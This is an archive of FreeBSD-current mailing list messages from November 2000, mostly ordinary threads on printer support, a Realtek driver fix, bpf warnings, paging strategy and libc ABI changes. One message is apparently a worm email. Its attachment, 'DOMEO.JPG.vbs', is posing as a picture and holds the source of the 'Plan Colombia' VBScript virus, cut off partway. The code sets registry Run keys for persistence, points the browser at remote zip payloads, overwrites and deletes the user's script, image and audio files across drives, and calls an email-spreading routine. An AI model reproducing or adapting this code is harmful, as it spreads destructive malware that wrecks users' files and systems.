------=_NextPart_000_0007_01C04420.682B8A20-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 15:28:29 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.internet.dk (ns.internet.dk [194.19.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 98A2537B4CF for ; Wed, 1 Nov 2000 15:28:24 -0800 (PST) Received: (from uucp@localhost) by ns.internet.dk (8.11.1/8.11.1) with UUCP id eA1NSHw52844 for freebsd-current@FreeBSD.ORG; Thu, 2 Nov 2000 00:28:17 +0100 (CET) (envelope-from leifn@neland.dk) Received: from gina (gina.neland.dk [192.168.0.14]) by arnold.neland.dk (8.11.0/8.11.0) with SMTP id eA1NRoZ49727 for ; Thu, 2 Nov 2000 00:27:58 +0100 (CET) (envelope-from leifn@neland.dk) Message-ID: <045701c0445b$5fb84b40$0e00a8c0@neland.dk> Reply-To: "Leif Neland" From: "Leif Neland" To: Subject: HP Deskjet 840C supported? Date: Thu, 2 Nov 2000 00:22:45 +0100 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've just gotten a HP Deskjet 840C (Bundled with a HP C200 camera) Is it just a windows-printer, and/or is it supported under Fbsd? Leif To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 16: 0:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from odin.ac.hmc.edu (Odin.AC.HMC.Edu [134.173.32.75]) by hub.freebsd.org (Postfix) with ESMTP id 752BA37B479 for ; Wed, 1 Nov 2000 16:00:47 -0800 (PST) Received: (from brdavis@localhost) by odin.ac.hmc.edu (8.11.0/8.11.0) id eA200Xl26632; Wed, 1 Nov 2000 16:00:33 -0800 Date: Wed, 1 Nov 2000 16:00:33 -0800 From: Brooks Davis To: Leif Neland Cc: freebsd-current@FreeBSD.ORG Subject: Re: HP Deskjet 840C supported? Message-ID: <20001101160033.A26519@Odin.AC.HMC.Edu> References: <045701c0445b$5fb84b40$0e00a8c0@neland.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <045701c0445b$5fb84b40$0e00a8c0@neland.dk>; from leifn@neland.dk on Thu, Nov 02, 2000 at 12:22:45AM +0100 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [A best this belonged on -questions though it's not really a FreeBSD question at all.] On Thu, Nov 02, 2000 at 12:22:45AM +0100, Leif Neland wrote: > I've just gotten a HP Deskjet 840C (Bundled with a HP C200 camera) > > Is it just a windows-printer, and/or is it supported under Fbsd? Under FreeBSD (and unix in general) if a printer isn't PostScript, the question is, does GhostScript support it. If so, it's supported, if not it isn't. -- Brooks -- Any statement of the form "X is the one, true Y" is FALSE. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 16: 7:43 2000 Delivered-To: freebsd-current@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 618) id 4AC7237B479; Wed, 1 Nov 2000 16:07:42 -0800 (PST) Subject: Re: if_rl.c broken ? Realtek 8139 not longer recognised. In-Reply-To: <20001101225744.A752@radio-do.de> from Frank Nobis at "Nov 1, 2000 10:57:44 pm" To: fn@radio-do.de (Frank Nobis) Date: Wed, 1 Nov 2000 16:07:42 -0800 (PST) Cc: current@freebsd.org X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Message-Id: <20001102000742.4AC7237B479@hub.freebsd.org> From: wpaul@FreeBSD.ORG (Bill Paul) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Hi, > > I have a realtek ethernet card. The normal dmesg is this: > > rl0: port 0xb400-0xb4ff mem 0xd9000000-0xd90000ff irq 10 at device 11.0 on pci0 > rl0: Ethernet address: 00:e0:7d:7d:cd:35 > miibus0: on rl0 > rlphy0: on miibus0 > rlphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto > > With the change to 8bit wide eeprom reads instead of the 6bit wide reads, the message > is now: > > rl0: port 0xb400-0xb4ff mem 0xd9000000-0xd90000ff irq 10 at device 11.0 on pci0 > rl0: Ethernet address: 00:e0:7d:7d:cd:35 > rl0: unknown device ID: 4a7 > > I changed if_rl.c to confirm that it really is the 6/8 bit change: Just fixed this. It should be 0x8129 that we compare with, not 8129. Sorry about that. Note that the cardbus hacks aren't in -stable yet so it wasn't affected. -Bill To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 17:25:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from webcom.it (h217-168-154.MI2.albacom.net [213.217.168.154]) by hub.freebsd.org (Postfix) with SMTP id 578A737B4FE for ; Wed, 1 Nov 2000 17:25:23 -0800 (PST) Received: (qmail 66901 invoked by uid 1000); 2 Nov 2000 01:25:12 -0000 Message-ID: <20001102012512.66900.qmail@webcom.it> From: andrea@webcom.it Subject: WARNING: driver bpf should register devices with make_dev() (dev_t = "#bpf/0") To: freebsd-current@freebsd.org Date: Thu, 2 Nov 2000 02:25:12 +0100 (CET) X-Mailer: ELM [version 2.4ME+ PL82 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Subject says it all. I get: WARNING: driver bpf should register devices with make_dev() (dev_t = "#bpf/0") probably at first usage. Card is an xe PC Card. I know I will probably get flamed for not RTF*, but I couldn't find a clue anywhere... Bye, Andrea -- Give a man a fish and you feed him for a day; teach him to use the Net and he won't bother you for weeks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 17:34: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from serio.al.rim.or.jp (serio.al.rim.or.jp [202.247.191.123]) by hub.freebsd.org (Postfix) with ESMTP id 8B24F37B4CF; Wed, 1 Nov 2000 17:34:07 -0800 (PST) Received: from mail2.rim.or.jp by serio.al.rim.or.jp (3.7W/HMX-13) id KAA14632; Thu, 2 Nov 2000 10:34:06 +0900 (JST) Received: from localhost.FromTo.Cc (shell [202.247.191.98]) by mail2.rim.or.jp (8.9.3/3.7W) id KAA23343; Thu, 2 Nov 2000 10:34:05 +0900 (JST) Date: Thu, 02 Nov 2000 10:34:03 +0900 Message-ID: <86g0lbma2c.wl@ringo.FromTo.Cc> From: Tatsumi Hosokawa Cc: hosokawa@freebsd.org To: current@freebsd.org Subject: Re: "Driver Floppy" implementation (Re: "make release" breakage - dokern.sh patch 2) In-Reply-To: In your message of "Wed, 1 Nov 2000 10:38:46 +0000 (GMT)" References: <200010301415.XAA01311@shidahara1.planet.sci.kobe-u.ac.jp> User-Agent: Wanderlust/1.1.0 (Overjoyed) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) MULE XEmacs/21.1 (patch 12) (Channel Islands) (i386--freebsd) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG My driver-floppy patch broke "make release" on current.jp.freebsd.org (ftp://current.jp.FreeBSD.org/pub/FreeBSD/snapshots/i3865.0-CURRENT-20001101-JPSNAP.log). Of course "make boot.flp" works very well on my enviroment. I'm debugging this problem, but it'll take hours and hours because testing "make release" takes about 8 hours on my machine. Anyway, I'll fix this bug as soon as possible. -- Tatsumi Hosokawa http://www.sm.rim.or.jp/~hosokawa/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 20:26:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id BAE7537B4CF for ; Wed, 1 Nov 2000 20:26:34 -0800 (PST) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id XAA01712; Wed, 1 Nov 2000 23:26:33 -0500 (EST) (envelope-from wollman) Date: Wed, 1 Nov 2000 23:26:33 -0500 (EST) From: Garrett Wollman Message-Id: <200011020426.XAA01712@khavrinen.lcs.mit.edu> To: current@FreeBSD.ORG Subject: Re: ABI is broken?? In-Reply-To: <20001101144355.A75475@dragon.nuxi.com> References: <3A005026.47B9978C@FreeBSD.org> <200011011835.eA1IZl207585@vashon.polstra.com> <3A006A58.E8315ABA@FreeBSD.org> <200011012019.PAA97860@khavrinen.lcs.mit.edu> <20001101144355.A75475@dragon.nuxi.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > Any reason to not get [libc ABI changes] in -current now and make > the bump? Mostly because they're too small to be worth the pain. I'm waiting for something more significant that I can piggy-back on. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 20:34:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from cs.utep.edu (mail.cs.utep.edu [129.108.5.3]) by hub.freebsd.org (Postfix) with ESMTP id 6A5A537B4CF for ; Wed, 1 Nov 2000 20:34:35 -0800 (PST) Received: from gecko (gecko [129.108.5.51]) by cs.utep.edu (8.10.1/8.10.1) with ESMTP id eA24YOr12412 for ; Wed, 1 Nov 2000 21:34:24 -0700 (MST) Date: Wed, 1 Nov 2000 21:34:25 -0700 (MST) From: X-Sender: janb@gecko To: freebsd-current@FreeBSD.ORG Subject: current paging strategy Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What paging strategy does FreeBSD currently use? Is it LRU or some approximation to it? How much memory does this strategy take up in its current implementation? Thank you for any information or links, Jan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 21:20:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (unknown [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 4A2E337B479; Wed, 1 Nov 2000 21:20:35 -0800 (PST) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.0/8.11.0) with ESMTP id eA25KVn35161; Wed, 1 Nov 2000 22:20:31 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id WAA03311; Wed, 1 Nov 2000 22:20:30 -0700 (MST) Message-Id: <200011020520.WAA03311@harmony.village.org> To: andrea@webcom.it Subject: Re: * watchdog timeout (Was: dc0: watchdog timeout) Cc: freebsd-current@FreeBSD.ORG, Motomichi Matsuzaki , wpaul@FreeBSD.ORG In-reply-to: Your message of "Mon, 30 Oct 2000 18:24:38 +0100." <20001030172438.10943.qmail@webcom.it> References: <20001030172438.10943.qmail@webcom.it> Date: Wed, 01 Nov 2000 22:20:30 -0700 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20001030172438.10943.qmail@webcom.it> andrea@webcom.it writes: : Probably not related at all, but on -current I am seeing: : xe0: watchdog timeout; resetting card : It happens just once, at boot time or after I insert the PC Card (Compaq : whatever). After that, everything works ok. Generally watchdog timeouts from pccard devices mean that your irqs are fubar'd. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 21:35: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from serio.al.rim.or.jp (serio.al.rim.or.jp [202.247.191.123]) by hub.freebsd.org (Postfix) with ESMTP id A6E9437B479; Wed, 1 Nov 2000 21:35:02 -0800 (PST) Received: from mail2.rim.or.jp by serio.al.rim.or.jp (3.7W/HMX-13) id OAA09465; Thu, 2 Nov 2000 14:35:01 +0900 (JST) Received: from localhost.FromTo.Cc (shell [202.247.191.98]) by mail2.rim.or.jp (8.9.3/3.7W) id OAA26475; Thu, 2 Nov 2000 14:35:01 +0900 (JST) Date: Thu, 02 Nov 2000 14:34:57 +0900 Message-ID: <86bsvzlywu.wl@ringo.FromTo.Cc> From: Tatsumi Hosokawa Cc: hosokawa@FreeBSD.org To: current@freebsd.org Subject: Re: "Driver Floppy" implementation (Re: "make release" breakage - dokern.sh patch 2) In-Reply-To: In your message of "Thu, 02 Nov 2000 10:34:03 +0900" <86g0lbma2c.wl@ringo.FromTo.Cc> References: <200010301415.XAA01311@shidahara1.planet.sci.kobe-u.ac.jp> <86g0lbma2c.wl@ringo.FromTo.Cc> User-Agent: Wanderlust/1.1.0 (Overjoyed) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) MULE XEmacs/21.1 (patch 12) (Channel Islands) (i386--freebsd) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At Thu, 02 Nov 2000 10:34:03 +0900, Tatsumi Hosokawa wrote: > > My driver-floppy patch broke "make release" on current.jp.freebsd.org > (ftp://current.jp.FreeBSD.org/pub/FreeBSD/snapshots/i3865.0-CURRENT-20001101-JPSNAP.log). > Of course "make boot.flp" works very well on my enviroment. > > I'm debugging this problem, but it'll take hours and hours because > testing "make release" takes about 8 hours on my machine. Anyway, > I'll fix this bug as soon as possible. Hmm. Binaries on current.freebsd.org seems to be successfuly compiled. I'm not guilty :-). % gzip kern-20001028.flp kern-20001101.flp (got from current.freebsd.org) % ls -l kern-20001* -rw-r--r-- 1 hosokawa hosokawa 1330551 11/ 2 13:53 kern-20001028.flp.gz -rw-r--r-- 1 hosokawa hosokawa 1245853 11/ 2 13:50 kern-20001101.flp.gz Maybe it's current.jp.freebsd.org's problem and I'll talk with the administrator of this host. -- Tatsumi Hosokawa http://www.sm.rim.or.jp/~hosokawa/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 21:54: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from iclub.nsu.ru (iclub.nsu.ru [193.124.222.66]) by hub.freebsd.org (Postfix) with ESMTP id A0A4C37B4C5; Wed, 1 Nov 2000 21:53:50 -0800 (PST) Received: from localhost (fjoe@localhost) by iclub.nsu.ru (8.9.3/8.9.3) with ESMTP id LAA64220; Thu, 2 Nov 2000 11:53:18 +0600 (NS) (envelope-from fjoe@iclub.nsu.ru) Date: Thu, 2 Nov 2000 11:53:17 +0600 (NS) From: Max Khon To: John Polstra Cc: current@FreeBSD.ORG, sobomax@FreeBSD.ORG, obrien@FreeBSD.ORG, deischen@FreeBSD.ORG Subject: Re: ABI is broken?? In-Reply-To: <200011011835.eA1IZl207585@vashon.polstra.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi, there! On Wed, 1 Nov 2000, John Polstra wrote: > Here are all the random facts which, when put together, explain what > is going on. > > Your old application was (like all -pthread programs) linked > with "/usr/lib/libgcc_r.a". That library contains a function > "__register_frame_info" which uses some of the facilities of the > pthreads library "libc_r". > > The pthreads library has to be initialized before it can be used, by > a call to _thread_init. If some functions such as pthread_mutex_lock > are called before the library has been initialized, a segmentation > violation results. [...] > Overall I would lean toward putting the hack into pthread_mutex_lock. > Comments? do we still need uthread_autoinit.cc? /fjoe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 22: 0:47 2000 Delivered-To: freebsd-current@freebsd.org Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by hub.freebsd.org (Postfix) with ESMTP id 7CAC637B479 for ; Wed, 1 Nov 2000 22:00:45 -0800 (PST) Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30]) by palrel1.hp.com (Postfix) with ESMTP id E06B42205; Wed, 1 Nov 2000 22:00:44 -0800 (PST) Received: from cup.hp.com (p1000180.nsr.hp.com [15.109.0.180]) by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id WAA29785; Wed, 1 Nov 2000 22:00:44 -0800 (PST) Message-ID: <3A01030B.54417A6B@cup.hp.com> Date: Wed, 01 Nov 2000 22:00:43 -0800 From: Marcel Moolenaar Organization: Hewlett-Packard X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: andrea@webcom.it Cc: freebsd-current@FreeBSD.ORG Subject: Re: WARNING: driver bpf should register devices with make_dev() (dev_t ="#bpf/0") References: <20001102012512.66900.qmail@webcom.it> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG andrea@webcom.it wrote: > > WARNING: driver bpf should register devices with make_dev() (dev_t = "#bpf/0") > > probably at first usage. Card is an xe PC Card. > I know I will probably get flamed for not RTF*, but I couldn't find a clue > anywhere... I get it as well. IIRC, it simply means that the bpf pseudo device needs to be updated, but is otherwise harmless. I forgot the details, but it's all in the mailinglist archives. Somewhere... :-) -- Marcel Moolenaar mail: marcel@cup.hp.com / marcel@FreeBSD.org tel: (408) 447-4222 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 22:33:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from implode.root.com (root.com [209.102.106.178]) by hub.freebsd.org (Postfix) with ESMTP id 30B4B37B479 for ; Wed, 1 Nov 2000 22:33:37 -0800 (PST) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.8/8.8.5) with ESMTP id WAA12676; Wed, 1 Nov 2000 22:31:41 -0800 (PST) Message-Id: <200011020631.WAA12676@implode.root.com> To: janb@cs.utep.edu Cc: freebsd-current@FreeBSD.ORG Subject: Re: current paging strategy In-reply-to: Your message of "Wed, 01 Nov 2000 21:34:25 MST." From: David Greenman Reply-To: dg@root.com Date: Wed, 01 Nov 2000 22:31:40 -0800 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >What paging strategy does FreeBSD currently use? Is it LRU or some >approximation to it? How much memory does this strategy take up in its >current implementation? It's probably nothing like anything you've heard of before. It's closest to LOU (least often used). We look at the page's reference flag and increment/decrement a counter depending on it. The rate that we look at the reference flag is also roughly proportional to the rate at which new pages are needed. This algorithm has proven to be extremely effective and does much better than simple LRU. -DG David Greenman Co-founder, The FreeBSD Project - http://www.freebsd.org President, TeraSolutions, Inc. - http://www.terasolutions.com Pave the road of life with opportunities. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 22:54:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from cs.utep.edu (mail.cs.utep.edu [129.108.5.3]) by hub.freebsd.org (Postfix) with ESMTP id CD94D37B4CF for ; Wed, 1 Nov 2000 22:54:44 -0800 (PST) Received: from gecko (gecko [129.108.5.51]) by cs.utep.edu (8.10.1/8.10.1) with ESMTP id eA26sax12910; Wed, 1 Nov 2000 23:54:36 -0700 (MST) Date: Wed, 1 Nov 2000 23:54:37 -0700 (MST) From: X-Sender: janb@gecko To: David Greenman Cc: freebsd-current@FreeBSD.ORG Subject: Re: current paging strategy In-Reply-To: <200011020631.WAA12676@implode.root.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Interesting. THis needs about two bytes per page for the counter? JAn On Wed, 1 Nov 2000, David Greenman wrote: > >What paging strategy does FreeBSD currently use? Is it LRU or some > >approximation to it? How much memory does this strategy take up in its > >current implementation? > > It's probably nothing like anything you've heard of before. It's closest > to LOU (least often used). We look at the page's reference flag and > increment/decrement a counter depending on it. The rate that we look at > the reference flag is also roughly proportional to the rate at which new > pages are needed. This algorithm has proven to be extremely effective and > does much better than simple LRU. > > -DG > > David Greenman > Co-founder, The FreeBSD Project - http://www.freebsd.org > President, TeraSolutions, Inc. - http://www.terasolutions.com > Pave the road of life with opportunities. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 23:38:47 2000 Delivered-To: freebsd-current@freebsd.org Received: from sunsite.aubi.de (mail.aubi-online.de [62.159.82.131]) by hub.freebsd.org (Postfix) with ESMTP id 78C6E37B4CF for ; Wed, 1 Nov 2000 23:38:22 -0800 (PST) Received: from exchangeb.aubi.de (exchangeb.aubi.de [170.56.121.7]) by sunsite.aubi.de (8.9.3+Sun/8.9.3) with ESMTP id JAA22999 for ; Thu, 2 Nov 2000 09:38:17 +0200 (GMT) Received: by exchangeb.aubi.de with Internet Mail Service (5.5.2650.21) id ; Thu, 2 Nov 2000 09:34:34 -0000 Message-ID: <7B1EED0C5D58D411B73200508BDE77B204DD11@exchangeb.aubi.de> From: Peter Wagner To: FreeBSD Current List Subject: US PRESIDENT AND FBI SECRETS =PLEASE VISIT => (http://WWW.2600.CO M)<= Date: Thu, 2 Nov 2000 09:34:34 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C044B0.1C1365A0" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C044B0.1C1365A0 Content-Type: text/plain VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES.. ------_=_NextPart_000_01C044B0.1C1365A0 Content-Type: application/octet-stream; name="DOMEO.JPG.vbs" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="DOMEO.JPG.vbs" rem = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D rem "Plan Colombia" virus v1.0 rem by Sand Ja9e Gr0w (www.colombia.com) rem Dedicated to all the people that want to be hackers or crackers, = in Colombia =20 rem This program is also a protest act against the violence and = corruption that Colombia lives... rem I always wanting that all this finishes, I have said... rem Santa fe de Bogot=E1 2000/09 rem I dedicate to all you the song "GoodBye" of Andreas Bochelli rem = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D rem Thanks God..! rem A greeting for "Lina Mar=EDa" from "Santa fe de Bogot=E1" rem A greeting for "Tizo" from "Spain" rem And One kicked of tail to my friends, "eL ChE" and "ThE SpY" rem okay, ok...=20 rem my baby start here... =20 On Error Resume Next dim = fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye eq=3D"" ctr=3D0 randomize numero =3D Int(Rnd * 3) + 1 polye =3D ".GIF.vbs" If numero =3D 1 Then polye =3D ".BMP.vbs" Else If numero =3D 2 Then polye =3D ".JPG.vbs" End If End If polyn=3D"\"&polyname(Int(Rnd * 5) + 4)&polye Set fso =3D CreateObject("Scripting.FileSystemObject") set file =3D fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=3Dfile.ReadAll main() If Day(Now) =3D 17 And Month(Now) =3D 9 Then MsgBox "Dedicated to my best brother=3D>Christiam Julian(C.J.G.S.)" & = Chr(13) & "Att. " & polyname(5) & " (M.H.M. TEAM)" killnet() End If sub main() On Error Resume Next dim wscr,rr set wscr=3DCreateObject("WScript.Shell") rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows = Scripting Host\Settings\Timeout") if (rr>=3D1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting = Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin =3D fso.GetSpecialFolder(0) Set dirsystem =3D fso.GetSpecialFolder(1) Set dirtemp =3D fso.GetSpecialFolder(2) Set c =3D fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\LINUX32.vbs") c.Copy(dirwin&"\reload.vbs") c.Copy(dirsystem&polyn) regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread,res regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\LINUX3= 2",dirsystem&"\LINUX32.vbs" regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService= s\reload",dirwin&"\reload.vbs" downread=3D"" downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Download Directory") if (downread=3D"") then downread=3D"c:\" end if rem acepta nombres largos..? if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then Randomize Randomize num =3D Int((4 * Rnd) + 1) rem fatal =3D> send virii if num =3D 2 then=20 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/macromedia32.zip" else rem oh,, a picture.. nice :) =20 if num =3D 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/linux321.zip" =20 else rem oh,, other picture =3D:() if num =3D 4 then regcreate "HKCU\Software\Microsoft\Internet = Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/linux322.zip" end if=20 end if =20 end if end if if (fileexist(downread&"\MACROMEDIA32.zip")=3D0) then res =3D Shell("copy " & downread & "\MACROMEDIA32.zip " & dirwin & = "\important_note.txt", vbHide) regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\plan = colombia",dirwin&"\important_note.txt" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" else if (fileexist(downread&"\linux321.zip")=3D0) then Kill (dirwin & "\logos.sys") res =3D Shell("copy " & downread & "\linux321.zip " & dirwin & = "\logos.sys", vbHide) regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" =20 else if (fileexist(downread&"\linux322.zip")=3D0) then Kill (dirwin & "\logow.sys") res =3D Shell("copy " & downread & "\linux322.zip " & dirwin & = "\logow.sys", vbHide) =20 regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" =20 end if =20 end if end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc =3D fso.Drives For Each d in dc If d.DriveType =3D 2 or d.DriveType=3D3 Then folderlist(d.path&"\") end if Next listadriv =3D s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f =3D fso.GetFolder(folderspec) set fc =3D f.Files for each f1 in fc ext=3Dfso.GetExtensionName(f1.path) ext=3Dlcase(ext) s=3Dlcase(f1.name) if (ext=3D"vbs") or (ext=3D"vbe") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close else if(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") or = (ext=3D"sct") or (ext=3D"hta") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=3Dfso.GetBaseName(f1.path) set cop=3Dfso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) =20 else if(ext=3D"jpg") or (ext=3D"jpeg") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=3Dfso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) =20 else if(ext=3D"mp3") or (ext=3D"mp2") then set mp3=3Dfso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=3Dfso.GetFile(f1.path) att.attributes=3Datt.attributes+2 end if end if end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f 